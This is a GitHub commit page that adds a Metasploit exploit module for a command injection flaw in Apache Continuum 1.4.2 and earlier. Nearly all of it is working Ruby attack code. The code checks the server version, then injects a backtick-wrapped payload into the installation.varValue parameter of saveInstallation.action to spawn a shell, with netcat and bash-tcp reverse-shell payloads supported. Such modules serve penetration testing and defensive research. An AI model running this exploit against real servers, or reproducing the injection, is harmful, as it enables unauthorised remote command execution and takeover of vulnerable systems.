Skip to content

Commit 46239d5

Browse files
committed
Add Apache Continuum exploit
1 parent 943b07f commit 46239d5

File tree

1 file changed

+76
-0
lines changed

1 file changed

+76
-0
lines changed
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Apache Continuum Arbitrary Command Execution',
15+
'Description' => %q{
16+
This module exploits a command injection in Apache Continuum <= 1.4.2.
17+
By injecting a command into the installation.varValue POST parameter to
18+
/continuum/saveInstallation.action, a shell can be spawned.
19+
},
20+
'Author' => [
21+
'David Shanahan', # Proof of concept
22+
'wvu' # Metasploit module
23+
],
24+
'References' => [
25+
%w{EDB 39886}
26+
],
27+
'DisclosureDate' => 'Apr 6 2016',
28+
'License' => MSF_LICENSE,
29+
'Platform' => 'unix',
30+
'Arch' => ARCH_CMD,
31+
'Privileged' => false,
32+
'Payload' => {
33+
'Compat' => {
34+
'PayloadType' => 'cmd cmd_bash',
35+
'RequiredCmd' => 'generic netcat bash-tcp'
36+
}
37+
},
38+
'Targets' => [
39+
['Apache Continuum <= 1.4.2', {}]
40+
],
41+
'DefaultTarget' => 0
42+
))
43+
44+
register_options([
45+
Opt::RPORT(8080)
46+
])
47+
end
48+
49+
def check
50+
res = send_request_cgi(
51+
'method' => 'GET',
52+
'uri' => '/continuum/about.action'
53+
)
54+
55+
if res && res.body.include?('1.4.2')
56+
CheckCode::Appears
57+
elsif res && res.code == 200
58+
CheckCode::Detected
59+
else
60+
CheckCode::Safe
61+
end
62+
end
63+
64+
def exploit
65+
send_request_cgi(
66+
'method' => 'POST',
67+
'uri' => '/continuum/saveInstallation.action',
68+
'vars_post' => {
69+
'installation.name' => Rex::Text.rand_text_alpha(8),
70+
'installation.type' => 'jdk',
71+
'installation.varValue' => '`' + payload.encoded + '`'
72+
}
73+
)
74+
end
75+
76+
end

0 commit comments

Comments
 (0)